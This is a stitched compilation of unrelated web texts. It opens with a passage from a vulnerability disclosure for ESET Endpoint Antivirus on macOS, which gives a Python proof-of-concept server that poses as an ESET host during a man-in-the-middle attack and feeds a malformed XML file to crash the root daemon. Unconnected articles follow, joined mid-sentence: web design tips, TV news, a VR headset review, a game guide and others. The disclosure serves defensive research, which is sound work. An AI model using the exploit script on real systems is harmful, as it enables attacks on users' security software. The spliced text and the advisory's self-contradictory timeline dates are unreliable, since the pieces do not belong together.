CVE-2016-0718 to achieve arbitrary code execution as root. Proof of Concept ================ Extract overflow.xml from https://bugzilla.suse.com/attachment.cgi?id=676490 (ZIP file containing a public proof-of-concept for CVE-2016-0718) and run the following Python program: ________________________________________________________________________________ import BaseHTTPServer, SimpleHTTPServer, ssl, subprocess class XmlHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): with open("overflow.xml") as f: xml = f.read() self.send_response(200) self.send_header("Content-Type", "text/xml") self.send_header("Content-Length", len(xml)) self.end_headers() self.wfile.write(xml) def do_CONNECT(self): self.wfile.write("HTTP/1.1 200 Connection Established\r
") self.end_headers() self.connection = ssl.wrap_socket( self.connection, certfile="/tmp/xml.crt", keyfile="/tmp/xml.key", server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) self.close_connection = 0 subprocess.call("openssl req -newkey rsa:2048 -x509 -nodes -subj " + "/CN=edf.eset.com -out /tmp/xml.crt -keyout /tmp/xml.key", shell=True) BaseHTTPServer.HTTPServer(("localhost", 4443), XmlHandler).serve_forever() ________________________________________________________________________________ Next, open the ESET Endpoint Antivirus UI, choose "Setup --> Enter application preferences...", and enable a local proxy server for localhost:4443 (this proxy configuration is used to simulate a man-in-the-middle attack; a real-world attack would not require a victim to enable a proxy server). Next, in the ESET Endpoint Antivirus UI, choose "Help --> Activate Product", enter any License Key value you like (such as 0000-0000-0000-0000-0000), and press "Activate". The esets_daemon process will immediately crash (the public PoC overflow.xml file used above just demonstrates that the vulnerability exists; it does not perform actual code execution). You can confirm this by running /Applications/Utilities/Console.app/Contents/MacOS/Console and seeing that esets_daemon crashed. Mitigation ========== ESET patched this vulnerability in ESET Endpoint Antivirus version 6.4.168.0. From the product's change log on https://www.eset.com/us/business/endpoint-security/mac-antivirus/: Version 6.4.168.0 - Added: Product verifies ESET SSL certificate on all supported OS X/macOS - Added: Upgraded POCO parsing library to the latest build Discoverers =========== This vulnerability was discovered and reported to ESET by Jason Geffner and Jan Bee of the Google Security Team. Timeline ======== 2016-11-03 - Vulnerability discovered 2016-11-03 - Vulnerability reported to ESET Security Team 2016-11-10 - Phone call between Google and ESET to discuss vulnerability 2016-02-08 - ESET provided Google with updated build 2016-02-21 - Google confirmed vulnerability remediated 2016-02-21 - ESET publicly released version 6.4.168.0 2016-02-27 - Public disclosure Attachment: smime.p7s
Description: S/MIME Cryptographic Signature _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: CVE-2016-9892 - Remote Code Execution as Root via ESET Endpoint Antivirus 6 Jason Geffner (Feb 27)by
Don’t make them think. This is the key to successful web design. Today, a great website is one that feels familiar the first time a user browses through. Navigating from page to page is effortless, information is straightforward, everything does what it’s expected to do, and users can find exactly what they’re looking for quickly and confidently.
How do you create this type of user experience? By building on the knowledge that web users have acquired through years of browsing through websites. Web conventions are your friends because they speak to your visitors in a language they can easily understand. Familiarity makes happy web users. While innovative design may be appealing on the surface, it’s a disservice if visitors are becoming confused or frustrated by unfamiliar elements and abandoning your website.
This doesn’t mean you have to churn out the same boring web design over and over again. Innovation in web design is great! What it does mean is that you shouldn’t sacrifice the advantages of convention merely for the sake of innovation.
Here are 7 web conventions to adhere to when designing a site:
1. Logo Placement
Logos are typically placed on the upper left of the page. When there are multiple windows open on a user’s computer or a user is browsing through various pages on your site, consistently having the logo on the top left lets them know that yes, they are still on your site. Say a user is searching for a job and has been searching through various companies career’s pages and application forms. Having the logo where the user expects to find it will help keep all the different windows in order.
2. Main Navigation
The Main Navigation should appear in a bar across the top of your site. This convention is another that, if broken, may frustrate users. In the same way we look at a street corner to find signage in most cities around the globe, we look to the top of web pages to figure out how to get around. There is nothing more frustrating than feeling lost – on streets, in stores, and on sites. If directions are too complicated or not there at all, users will become discouraged and leave your site.
3. Link Styling
Clicking links has become second nature for web users. Users want to know instinctively what’s clickable and what isn’t – as soon as the rules are broken, it becomes confusing and forces users to think. It’s like driving a car in England if you’re an American – driving has always felt second nature until the rules change. A classic link appears as underlined text like this. Text in a different color and underlined text can also signify links. This means you should not underline words that aren’t links, and avoid using different colored texts for non-links. There is no real benefit to getting fancy with links, so sticking to the convention is your best bet.
4. Button Functionality
A button is a great feature to include in your web design because they are extremely intuitive. They look 3D and clickable, making it clear that you should, in fact, click them. What does this mean in terms of convention? Be sure that all buttons actually link to something. A button that doesn’t cause anything to happen will be confusing to users.
5. Standard Icons
Icon conventions are particularly useful because they provide a clear explanation without words. An envelope icon signifies email, a shopping cart or bag icon signifies the checkout page, and social media icons signify social sharing. But icons only work if they are common enough that no explanation is necessary. Replacing a shopping bag icon with a rainbow may get points for originality, but your users will most likely be more than a little confused.
6. Visual Hierarchy
We encounter visual hierarchies dozens of times per day: newspapers, billboards, invitations, even cereal boxes use this hierarchy to let us know what to read first, which information is the most important and what comes next. We don’t realize this is happening because we are so accustomed to this convention. Using visual hierarchy on your webpage brings readers back to this familiar structure. Processing the page becomes almost automatic and users know where to go. Losing this hierarchy is only going to confuse viewers.
7. Clear Naming
With so many companies competing for attention on the web, it’s important to use creativity to stand out. But all too often, creativity sacrifices clarity. Cute and clever naming is fun and catchy, but remember, users want information first, cute second. This mistake is often made on careers pages. Any job searcher will know that a button with the word “Jobs” will likely lead to a page that lists available positions. But “Jobs” sounds boring. “Jobify My Future!” is more creative but it’s not as clear. Will this link to employment opportunities or an educational program or something else? Again, there is room for innovation, just keep your users in mind.
As Steve Krug points out in “Don’t Make Me Think”, designers feel they have been hired to produce something original: “Praise from peers, awards, and high-profile job offers are rarely based on criteria like ‘best use of conventions’.” However, breaking conventions is not an effective way to be innovative, unless you really know what you’re doing. Keep your users happy and they’ll keep coming back. Now that’s a convention worth sticking to.
Was article useful to you? Any other conventions you think are an essential component of design? Let us know in the comments below!The great British empiricist Francis Bacon once remarked that Johannes Gutenberg’s printing press “changed the whole face and state of the world." Although Gutenberg did not independently devise the press, he invented a mass-production process of moveable type and concocted an oil-based ink which, when combined with the wooden press, revolutionized the flow of information. Books could now be published in vast quantities, at only a fraction of the time required previously.
For his first seminal printing, Gutenberg picked the Bible — an obvious choice for a Christian, and in retrospect, perhaps the only book whose historical significance rivals that of Gutenberg’s invention. Produced in 1454 or 1455, the few surviving copies of Gutenberg’s Bible remain exemplars of the printer’s forethought and craftsmanship; the page dimensions, it is believed, were devised by Gutenberg to echo the golden ratio of Greek aesthetics. The first page appears above.
This Tuesday, The Polonsy Foundation Digitization Project, which aims to digitize the collections of Oxford's Bodleian Libraries and the Vatican’s Biblioteca Apostolica, made a virtual version of the Gutenberg Bible available online. Readers fluent in vulgate can now put down their dog-eared bibles and enter the information age with this frighteningly high-resolution cover-to-cover scan of Gutenberg’s original printing. In addition to examining its finely drawn initials and curlicues, you can also browse other early bibles, including a beautifully colored 13th century Hebrew tome, and the delicate illustrations within a 10th century Greek volume. We've included two images below:
View the first portion of the digitized collections here
via Hyperallergic
Ilia Blinderman is a Montreal-based culture and science writer. Follow him at @iliablinderman.
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The winter premieres of Grey’s Anatomy and How to Get Away with Murder, as well as the season 6 premiere of Scandal have been pushed a week from Thursday, Jan. 19 until Thursday, Jan. 26 due to a pre-inauguration 20/20 special airing on ABC News.
The one-hour special, America’s First Family: The Trumps Go to Washington, will air at 10 p.m. ET, preceded by repeats of Grey’s Anatomy and Scandal at 8 p.m. ET and 9 p.m. ET, respectively.
Publicly, ABC said the move was made to ensure TGIT would return with three original episodes. But it was clearly a late-breaking decision to add the news special since ABC had already been promoting the Jan. 19 return of TGIT with sexy teasers. Ratings on ABC’s Thursday lineup faltered this fall without Shondaland’s full lineup of hell-raisers so the return of Scandal — which will reveal whether Mellie or Frankie won the election — could provide a much-needed boost.
TGIT will officially return Thursday, Jan. 26, with Grey’s Anatomy at 8 p.m. ET, Scandal at 9 p.m. ET and How to Get Away with Murder at 10 p.m. ET on ABC.Alan Velete is accused of abusing and killing a 4-month-old puppy in front of his young daughter. (Redwood City Police Department) Alan Velete is accused of abusing and killing a 4-month-old puppy in front of his young daughter. (Redwood City Police Department)
REDWOOD CITY (CBS SF) — A Redwood City man who pleaded no contest to killing his puppy Lucky after torturing it for weeks in front of his 4-year-old daughter was sentenced to two years in county jail Friday morning, prosecutors said.
Alan Velete, 32, pleaded no contest in July to felony animal cruelty and misdemeanor child endangerment, according to the San Mateo County District Attorney’s Office.
His abuse of the dog started last December, when he moved into his girlfriend’s mother’s Redwood City apartment with his girlfriend and their young daughter, prosecutors said.
He became enraged when the 4-month-old terrier defecated on the floor, setting off weeks of abuse, including punching and kicking the puppy, spraying it in eyes with household cleaners and keeping it in a crate in the bathroom.
Prosecutors also said that he would put the dog in a duffel bag and hang the bag in the shower, listening to it whimper for hours. He also taped its mouth shut and force-fed it his psychiatric drugs.
Prosecutors said Velete’s girlfriend and her mother were afraid to call police but her mother finally did after Velete suffocated the dog on Jan. 6, put it in a duffel bag and threw it in the garbage.
His girlfriend’s mother made an anonymous call to police and Velete was arrested. He initially pleaded no contest to the charges, but changed his plea in July in a plea deal with prosecutors in exchange for no more than three years in prison.
In addition to the two-year jail sentence, Velete must complete a year-long residential treatment program.
© Copyright 2014 by CBS San Francisco and Bay City News Service. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Visualizing Terror and Exaltation in “The Forest”
Derek Caelin Blocked Unblock Follow Following May 29, 2017
What could be more fun than playing “The Forest” and embarking on a two hour thrill ride in a mutant-infested cave? Visualizing the gameplay transcript using an arsenal of free tools, of course. In this article I talk about the process and lessons learned of conducting sentiment analysis of a gaming session. Warning: there may be images and language in this article not suitable for children.
The Forest is a multi-player survival horror game set on a mysterious island. In the manner of LOST, a commercial flight crashes and strands the players on a mysterious forested island that is largely peaceful by day and largely terrifying at night. Players balance their time between low key tasks — hunting for berries, building forts, crafting tools — and gut-wrenching plunges into a deep and monster-infested cave system in search for supplies and clues about the island’s history.
A few weeks ago, my friends and I logged into The Forest. As is the tradition in our group, we recorded the gameplay and later posted it to YouTube. (One day my children will uncover the video and know just how terrified their father was in zombie horror situations.) Ours was a varied session — we gathered together, sailed around the island in a makeshift boat, established a base (complete with catapult!) on a remote sandbar, explored the forest, and discovered an entrance to the island’s branching cave system. In the darkness we discovered a terrifying, many-limbed monstrosity wading through the corpses of tiny mishapen mutants. After a desperate clash, we just barely managed to defeat it. We spent the remainder of our time exploring and, emerging back into the sunlight, building up our fortress for the next expedition before logging off.
My perception of the general narrative arc of our gameplay
Told as narrative, it seemed to me that the story was structured similarly to many books and movies. We had a cheerful beginning with friends finding each other, a period of rising action as we descended deeper into the cave system, a terrifying climax, and a period of declining tension as we returned to our base and prepared for our next session. I was curious whether the transcript told a story that aligned with what existed in my head.
But how to obtain the transcript? What I had was a YouTube video of our conversation — what I needed was a time-stamped spreadsheet of the words of our conversation that could be visualized!
As it turns out, there are multiple ways to generate a transcript from a YouTube video. In order to auto-generate close captioning, YouTube itself generates a transcription of the dialog using Google’s own speech-to-text engine. To extract this information, you can dive into the source XMLof a page, use a variety of online extraction services like ccSubs or DIYCaptions.com, or, as I did, use a free downloadable called 4K Video Downloader. At the end of about 30 minutes fiddling, I had a raw transcript file. 8,000 lines long!
A sample of the original transcript extract
At first I was flush with success at generating a transcript, but upon review of the output I realized there were plenty of limitations to the method I had used. Some of these were resolvable. There were, for example, font color inserts throughout the transcript and garbled HTML replacements for apostrophes that could be removed with a careful search and replace query. Less easy to address were the underlying imperfections of an auto-generated transcript:
The words of my friends and me were not separated by speaker, so the transcription is the disjointed babble of an apparently sole voice talking to itself in an unbroken monologue (forget comparing the relative tones of speakers, or doing an analysis of who talked more!).
The transcript did not divide up our speech by complete sentence, but instead broke it into 5–7 second chunks which often contained multiple one word exclamations or fragments of a longer speech.
At the level of words captured, the speech-to-text service itself proved to be imperfect. My friends and I said many things in our clash with the mutants of the forest, but I’m pretty sure none of us whispered “you Kevin Bacon, well I’ll good keep that.”
In hindsight, there are dedicated transcription tools (some of which that cost money) that might have recognized the different speakers and created a cleaner output. But in my quest to do everything for free (or nearly free) I decided not to wade too deeply into the field of transcription services.
The imperfections of my spreadsheet notwithstanding, I now had something that could be analyzed. Something I find fascinating about data is how much information comes in a small package. Even without analysis, my spreadsheet of information could be refined into many dimensions: words, relative timestamp start and end, and, since I knew the time that we started playing, the approximate times that these words were spoken.
Most of the work of data visualization is cleaning and rearranging data
Next, the sentiment analysis! I ended up using a Add On for Google Sheets called AYLIEN Text Analysis which reviewed a column of text and generated an analysis of (among other things) the polarity of each phrase and its level of confidence in that assessment. Now each phrase was labeled as “positive”, “neutral”, or “negative” and was accompanied by a scale of 0 to 1, with 1 |
began bombing Baghdad. The raid has also been compared to the Great Train Robbery of 1963. Although the figure stolen in that robbery was only £2.6 million, this was equivalent to around £40 million now, after inflation is taken into account, and the Graffs robbery where nearly £40 million[26] worth of jewels was stolen by two armed men who walked into Graff Diamonds, Bond Street August 2009.
See also
List of famous bank robbers and robberies
Northern Bank Robbery – A similar robbery from 2004 that occurred in Northern Ireland.“Dignity during menstruation”: something that many of us in Western countries don’t think twice about—probably even take for granted—and that a Gonzaga University student group wants to ensure at-risk Zambian girls can have, too.
Reports The Seattle Times:
A group of students and faculty from Gonzaga University is heading to Zambia on Monday, carrying unlikely tools for social change: feminine-hygiene kits that will make it possible for young girls and women to stay in school. This is the second year the Gonzaga-in-Zambezi program for organizational leadership has added the cloth kits to the supplies and services that students share with villagers in the sub-Saharan African nation, said Josh Armstrong, director of the school’s comprehensive leadership program. The 19 students and three faculty members will bring 75 hygiene kits that include cloth liners and absorbent pads that can be washed and reused for up to three years, boosting privacy and dignity during menstruation. It’s an idea gleaned from the Lynden, Whatcom County, nonprofit Days for Girls International, which has supplied kits to more than 100,000 girls and women on six continents since 2008.
Without access to feminine hygiene products, many of these girls and women are shunned during their periods—some “go out and stay with with cattle,” said a representative from the Days for Girls group; discussion of menstruation is also shunned—and are often left to their own devices in creating makeshift pads out of leaves, mattress stuffing and rocks, which sounds just awful.
If you haven’t already teared up yet, there’s this: the Zambian girls “stood up and started singing and dancing” when they received their kits—the organizers said they couldn’t get a word in edgewise because the girls were so excited—and Days for Girls plans on distributing raw materials in developing countries so that women can begin to create and sell their own kits.
Image via GettyIt’s 2:30 a.m., I’m in my bedroom, and I am under attack. Blue and red orbs hurtle towards me and I throw up my arms to deflect them, swaying back and forth to the angry snare hits in Led Zeppelin’s Achilles Last Stand. My actual arms—not pressing buttons on a gamepad. For a moment I feel as if I’m channeling that legendary warrior, my shields effortlessly casting aside these persistent projectiles. The song builds. I’m squatting now, punching my shields out towards the incoming spheres in time with the beat.
The song ends and I take off the HTC Vive virtual reality headset. My girlfriend is sitting up in bed, staring at me with a look that’s half-smile, half-bewildered. “Sorry if I woke you up,” I say. She replies: “It wasn’t as goofy as I thought.”
This is the okay-it’s-sort-of-goofy-but-who-cares future: Room-scale virtual reality, powered by the Vive and SteamVR. If we chart the progression of video games from Spacewar and Zork all the way through to the 3D games of 2016, then the Vive is the next logical step towards realism. Or “immersion,” to borrow the most overused term in gaming—and the Vive delivers it in spades.
It’s an awe-inspiring bit of tech, and the logical counterpoint to last week’s Oculus Rift review. Let’s dig in.
Running to stand still
For years it seemed like Oculus would make it to market unopposed. Sure, there were a half-dozen headsets from Razer, Sulon, and a host of other imitators, but nobody who could really compete with Oculus on specs and software.
Adam Patrick Murray
And then HTC unveiled the Vive. It was a shocking swerve, though the effect was maybe lost on those who don’t follow the industry closely. See, for years Oculus and Valve were actually partners. Valve fed Oculus its VR research for free, and many of Valve’s top VR heavyweights eventually left to go work in-house at Oculus.
I’ve no way of knowing when that sunshine-and-roses relationship broke down, but I wouldn’t be surprised if it coincided with Facebook purchasing Oculus two years ago. Regardless, Valve announced the Vive about a year later, in the spring of 2015. And now, as of today, it’s a real product.
As with the Rift, the Vive is a virtual reality headset. To paraphrase myself from last week, this means it’s essentially a monitor you strap onto your eyes, at which point lenses warp the 2D image into three-dimensional world that you can wander around. At its best, VR feels like you temporarily absconded from your bedroom/living room and teleported to a new and fantastical world—perhaps one in which you’re a dungeon-crawling hero, or an engineer building balloon cars, or a god who can shrink the solar system down to the size of so many colorful marbles.
But though the Vive and Rift are both VR headsets, they differ in how they use the technology—and it’s a difference that stems from Oculus’s earliest days. Two or three years ago a few developers had started experimenting with the idea of standing (as opposed to sitting) while wearing the early Oculus dev kits, and I’d go to Oculus events and ask “So what’s your stance on this?” And I’d get back something along the lines of (paraphrasing) “Unofficially, we think it’s cool. Officially, it’s a liability.”
At the same time, we’d hear rumors about Valve’s “VR Room.” Valve would invite devs to its office in Washington where they had converted an entire room for inside-out VR—meaning, basically, that a camera mounted on the headset would map the walls of the room and warn you if you got too close.
An entire room for VR. At the time it seemed incredible. Now? It’s a key feature of the Vive—sort-of.
An early version of the Vive's Lighthouse sensor.
To make room-scale VR work in a normal setting however, Valve needed to change up its approach. Thus the Vive works with outside-in VR, meaning the position of the headset is tracked by two separate base stations, which sweep lasers (The future is cool!) across the headset to determine its position in space.
(Side note: These base stations also make an annoying, high-pitched humming sound that’s only really noticeable at night, and probably not at all to some people, but I’ve found them a bit distracting in my bedroom.)
The concept is similar to the Oculus’s camera—and, in fact, you can use the Vive like the Rift as a stationary, seated VR headset—but the range on the Vive is a fair amount larger. With optimal placement, the Vive can track an area up to fifteen feet by fifteen feet, though good luck finding a space that large in your house. Set-up involves placing the two base stations (together known as Lighthouse) high-ish up in your room—I have one on top of a shelf and the other mounted on my standing desk—and then calibrating the floor and the size of your space.
It’s more intensive than the Oculus’s set-up, but done correctly it means you can physically walk around in virtual worlds—and, more importantly, can do so without worrying. If you get too close to the walls, Valve’s in-house “Chaperone” system simply fades into view, a grid marking the boundaries of your space and reminding you not to run full-tilt into your desk or whatever.
And best of all: Set-up is handled from within Steam. We’ll go over the software side of things more later, but suffice it to say that as soon as you plug in a Vive, Steam downloads the necessary VR software. Easy.
Put your hands in the air
Rounding out the Vive experience is a pair of wand-shaped controllers which are also tracked by the Lighthouse base stations, giving you pseudo-hand tracking in VR and enabling you to swing a golf club, stab a goblin, shoot a bow-and-arrow, or throw donuts at a robot.
Adam Patrick Murray
Each controller features a trigger, two grip buttons, a Menu button, a button to call up the Steam overlay, and a trackpad—twin to the nifty haptic trackpads found on the Steam Controller, meaning each can be used as a mouse, a scroll wheel, or a bunch of buttons depending on the developer’s needs. And since you’re in virtual reality you can often look down and see what the trackpad is currently functioning as, which is a definite improvement over the Steam Controller.
Not that most developers need more than a handful of buttons. Part of the Vive’s charm is that walking around is handled by walking around and the camera is handled by looking around and that means you can have pretty simple controls. Most games I’ve played use the trigger as the “Grab” command and…well, in a lot of cases that’s it.
A few more complicated games have started experimenting with gesture-based controls. The Gallery, for instance, has you pull out your inventory—literally a digital backpack—by reaching over your shoulder, squeezing the trigger, and then pulling the bag out in front of you. Again, intuitive.
Why is this important? Because the less people need to worry about controls, the more likely they are to stop thinking about “Oh, I’m in VR” and simply enjoy the experience. I’ve written at length about how disappointed I was by Oculus’s decision to package an Xbox controller with the Rift, and that feeling’s just as poignant now as it was a year ago.
Job Simulator, an HTC Vive launch title.
An Xbox controller only appeals to longtime gamers. To anyone else, it’s a nightmare. Try explaining to your non-gaming relative that they need to “Press the A button” when there’s a black box strapped over their eyes.
Now instead, imagine telling them to bend down and grab the stapler they see on the floor. See the difference? I firmly believe if virtual reality is going to take off, motion controls are a key piece of the experience. Packaging the Vive wands alongside the headset adds to the cost, sure, but Valve and HTC have put together a no-compromises vision of where VR needs to go: Room-scale experiences, intuitive controls, and extremely precise tracking.
Self-reflection
Now, does that mean the Vive is perfect? Absolutely not. I’ve outlined above the strengths of the Vive hardware—and there are many—but let’s talk about some of its deficiencies.
Namely: The headset design. It’s the one place where the Vive really fails to hold its own against the Rift. And it’s not because the internals are worse. On the contrary, the Vive and Rift boast pretty much identical specs—90Hz refresh rate, 1080x1200 resolution per eye. The Vive’s FOV is a bit wider, the screens seem brighter, and there’s less light-streaking thanks to its circular lenses, but I think the Rift tends to focus better on objects close to the eyes and text generally looks cleaner.
A draw, in other words. Compromises on either side.
But Oculus put a hell of a lot of engineering work into the look and feel of the Rift. It goes on and off in one smooth motion thanks to its spring-loaded design. Once adjusted properly, it stays in place. It’s relatively lightweight. It has those neat little headphones that swivel down over your ears.
Adam Patrick Murray Oculus Rift on the left, HTC Vive on the right.
The Vive is more in line with the Rift’s second-gen developer kit (DK2, for short). It’s held on by a series of elastic bands, meaning it’s much harder to get the perfect fit. Most people will undoubtedly settle somewhere between “hangs too loose” and “crushes their face like a pulpy grapefruit.” The standard foam is hotter and somewhat itchier than what the Rift uses. The three-in-one tether is heavy.
And headphones are a separate concern. There’s an audio jack hanging off the rear of the Vive, so you can plug in the included earbuds or bring along your own pair, but it’s one more cable to deal with. Personally I’ve been using Astro A50s because they’re wireless, but they’re also heavy and have a tendency to slip around when I look down.
Don’t get me wrong: It’s not like these are major issues. If you’ve never used a VR headset before, the experience is undoubtedly going to be more important than quibbles about the tether or the headphone situation.
But these material concerns are distractions pulling you back into normal reality—you know, the one where you’re wearing a goofy headset and a pair of headphones. As soon as you think to yourself “Wow, my face is hot,” or “Ugh, I think the tether is wrapped around my leg” you’re no longer wholly focused on the VR experience.
Ready to launch
Let’s talk about those experiences, shall we? As with the Oculus launch last week, I’ve gone ahead and split most of our discussion about software out into a separate article. But we can touch on the basics here.
Surprise! There’s a lot of software.
Vanishing Realms.
It truly is a surprise. Oculus put a lot of money into first-party development and struck a number of exclusive deals with third-parties. For months the launch narrative has looked like “Valve wins on hardware, Oculus wins on software”—a narrative that still seemed likely when Oculus launched alongside thirty titles last week.
But never underestimate Steam. As of now, writing this on Monday afternoon (the day before launch), Steam says I have 62 Vive-ready programs in my library. More than double Oculus’s launch-day lineup, and there are some others scheduled for the April 5 launch that I don’t have access to yet.
Now, there are other things to take into consideration of course. Oculus’s launch lineup was, I’d say, a more consistent quality. That’s what happens when you employ borderline-excessive curation and handpick every title.
Valve’s done...well, what Valve does. You want to sell and/or give away a Vive game? Looks like Steam will take it. Full-fledged games like Job Simulator and The Gallery sit right alongside weird (pricey) experiments like #SelfieTennis and demo-scale experiences like TheBlu. And there’s no real telling what’s what.
Meaning there’s a lot of chaff to sift through.
The upshot though is that the Vive feels hands-down more interesting, entertaining, and surprising. Steam’s current Vive lineup reminds me of the early days of Oculus Share, a sprawling and lawless Wild West full of some of the most boundary-pushing, brilliant VR experiences possible. And also some really bad garbage. And some stuff that’s kind-of broken.
Luckily Steam has its built-in reviews system, meaning the best of the best will be surfaced while the rest fade. Again: The fact that the Vive hooks straight into Steam is one of its best features, if only because Steam is a mature and well-established storefront with a ton of users.
My kingdom for a bigger apartment
The other issue with Vive development at the moment is harder to solve though: Space. How much do you need?
More space is better, a lesson I learned quickly the other night when I decided to check out VR Baseball – Home Run Derby. I held my Vive wand up like a baseball bat, squared myself on the plate, pointed to the stands like Babe Ruth, wound up and swung with all my might—straight into the side of my desk. Credit to the Vive controller for not shattering into a million pieces, though it bears a dent now as testament to my stupidity. It’s not that Chaperone didn’t work. It did, but I was moving too fast to stop. Something for developers to think about, maybe.Republican presidential contender Carly Fiorina has made defunding Planned Parenthood a centerpiece of her campaign - she even promised to shut down the government to halt federal funding to the group - but the organization that controls Fiorina's charitable group, the Fiorina Foundation, has given nearly half a million dollars to Planned Parenthood since 2011, according to a new report from The Daily Beast
The Fiorina Foundation is not technically a charitable organization, The Daily Beast's Olivia Nuzzi explained, but rather, it is the name of the account Fiorina and her husband have with the donor-advised fund The Ayco Charitable Foundation, through which the Fiorinas "distribute undisclosed sums to undisclosed recipients at undisclosed times."
The Ayco Charitable Foundation essentially manages philanthropic funds for a number of clients and makes donations on their behalf. Between 2011 and 2013, the foundation collectively donated $467,275 to various Planned Parenthood locations, according to its tax information.
"In other words," wrote Nuzzi, "Fiorina has entrusted her money with an organization that funneled nearly half a million dollars into Planned Parenthood."
Sarah Isgur Flores, a spokeswoman for Fiorina's campaign, told Nuzzi that Fiorina and her husband "absolutely have say over where their money goes and don't have say over where other people's money goes," and argued that the donations to Planned Parenthood don't "implicate Carly's money or foundation."
When asked how much money Fiorina donates and to which charitable causes, Flores said "she has given to dozens of charities, including those that support veterans, education and their local community."
When asked to name the charities, Flores was just as vague, saying, "It's a lot of charities and I'm not going to release names which will cause a headache for some of the smaller organizations."
After being pressed to specify how many charities, she replied, "I'd just say dozens. I don't have an exact number."
Nuzzi then asked if Fiorina "has a problem with Ayco distributing funds to Planned Parenthood," to which Flores responded, "Carly has no control over those clients and their giving preferences."
And while that may be true, and it may not currently be possible to determine if Ayco actually donated Fiorina's money to Planned Parenthood, Ruzzi hit the nail on the head by concluding that "if Fiorina feels as strongly as she claims that it's an abomination for American tax dollars - including hers - to be forced to help fund Planned Parenthood, it's perplexing that she would elect to be associated with any group that feels comfortable giving money to Planned Parenthood by choice - on behalf of an individual or not."
Flores didn't respond when asked why Fiorina doesn't entrust her charitable givings to a donor-advised fund that promises not to give money to Planned Parenthood.Hulu Hulu will be a major player at the Emmy Awards for the first time this year, thanks in large part to its new series "The Handmaid's Tale," which received thirteen Emmy nominations on Thursday.
A dystopian thriller based on Margaret Atwood's 1985 novel of the same name, "The Handmaid's Tale" has garnered universal acclaim from critics since its first season premiered in April.
The show is up for thirteen Emmy nominations in categories that include best drama series, best lead actress in a drama series (for Elisabeth Moss), and best supporting actress in a drama (for both Ann Dowd and Samira Wiley).
Hulu received its first-ever nomination in 2014 for its sports series "Behind the Mask." Last year, the service had two nominations in variety special writing ("Triumph's Election Special 2016") and visual effects ("11.22.63"), but it lost both.
Hulu has never won an Emmy Award for its original content. Meanwhile, its streaming rivals Netflix and Amazon have had tremendous success at the Emmys with acclaimed shows like "Orange Is the New Black" and "Transparent," respectively. (Netflix has won a total of 55 Emmys, and Amazon's "Transparent" has alone garnered 24 nominations and 8 wins.)
Outlets have already speculated, however, that "The Handmaid's Tale" will be the show that finally pushes Hulu over the top for its first Emmy win. This year it has many strong chances to do so, with 18 total Emmy nods.
In the category of best drama series, "Handmaid's Tale" will face off against AMC's "Better Call Saul," Netflix's "The Crown" and "House of Cards," HBO's "Westworld," and NBC's "This Is Us."
Elisabeth Moss is a critical favorite for the best lead actress award for her portrayal of the "Handmaid's Tale" protagonist, Offred. She will face off against several heavy-hitters, including Viola Davis ("How to Get Away With Murder") and Robin Wright ("House of Cards").Popular video game streaming service (and Amazon subsidiary) Twitch has updated its rules of conduct to prohibit the streaming of games rated AO (Adults Only) by the Entertainment Software Rating Board (ESRB). "Simply put, AO games are not welcome on Twitch," the site said in an official blog post.
The update is a clarification of previous game-specific bans Twitch placed on streaming of titles that featured "overtly sexual content" or "gratuitous violence." That system was "unsustainable and unclear, generating only further confusion among Twitch broadcasters," the company said in its blog post last night. "We would like to make this policy as transparent as possible." Players breaking the ban will receive a temporary suspension.
Twitch's new policy comes ahead of the impending release of Hatred, a controversial shooter that received an AO rating back in January, according to developer Destructive Creations. In fact,is one of three AO-rated games specifically called out on Twitch's list of prohibited games, alongsideand
With somewhat confusing wording, Twitch adds that "Mature rated versions of Adults Only titles" are allowed on the service, meaning the original Indigo Prophecy is OK even though the AO-rated "Director's Cut" is not. The re-cut, M-rated version of Grand Theft Auto: San Andreas is also OK, even though the AO-rated original release is prohibited. Frankly, we have to wonder how anyone will tell the difference between the two versions unless the streamer hacks his or her way into some "hot coffee."
Games rated as 18+ or the equivalent by other rating systems are OK to stream "so long as they are not rated AO by the ESRB, and they don’t violate the standard language of our RoC and ToS," Twitch says. For games not rated by the ESRB, we can only assume Twitch's existing prohibitions on nudity and sexually explicit acts in games will still apply.
Aside from the few dozen titles that have received an AO from the ESRB, Twitch specifically bans five other titles that don't meet its content guidelines. That list includes the M-rated, T&A-filled biking game BMXXX, MMO Second Life, visual novels Dramatical Murder and Sakura Spirit, and explicit dating sim/puzzle game HuniePop.DCSS Beginner's Guide BackslashEcho Jul 19th, 2013 4,475 Never 4,475Never
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rawdownloadcloneembedreportprint text 44.26 KB Here are the races, classes, and religions as of 0.12/0.13 as *I* see them, in alphabetical order because shut up: Centaurs (Ce): I imagine you know what a centaur is. They're faster than normal and best with bows, but their hooves make stealth difficult and their size means they have to eat more often than normal. Deep Dwarves (DD): They don't regen health. That is the most important thing you need to know about DD. It makes them (in my opinion) very difficult to play. On the other hand, they have an intrinsic ability that "shaves" damage by a flat amount every time they take damage at all. They also begin with a wand of Heal Wounds (presumably of the highest-quality craftsdwarfship), and their inherent dwarvenliness lets them recharge magical objects at the cost of 1 max MP. (Be careful though, this probably isn't enough to get you through the entire game; once you're out of max MP, you're in some serious trouble). With a reliable method of external healing, whether necromantic or divine (see Elyvilon or Makhleb), they make very strong fighters or mages, as long as you stick to what they're good at. Deep Elves (DE): These are your glass cannon mages. They are good at magic and that's about it. As long as you can keep them off the front lines, you can lay down some serious devastation with a DE mage. Demigods (Dg): Demigods have great attributes and large pools of HP and MP. However, they're unable to worship any god, ever, and that can be a big deal over the life of a character. They also level very slowly, which means you'll usually be lower-level at every point in the game as compared to other races, a con that may not be fully offset by the aforementioned stats and HP/MP bonuses. Demonspawn (Ds): A fairly average race, generally able to follow any path and leveling/learning only slightly slower than average. They are especially good at Necromancy and Invocations, and they gain (usually) 5 semi-random permanent mutations over the course of their lives. These mutations are drawn from a special list, and though they can be prematurely improved, they can never be removed. Be careful, your infernal heritage renders you weak to holy powers (e.g. holy wrath weapons, scrolls of holy word). • Demonspawn mutations, addendum: You will gain 1 mutation to your skin (scales, bone plates, repulsion field), 1 mutation to your body (claws, hooves, talons, horns, or antennae), and 3 other mutations, (2 from one list, 1 from another). You cannot gain both a fire and an ice mutation. • Monstrous 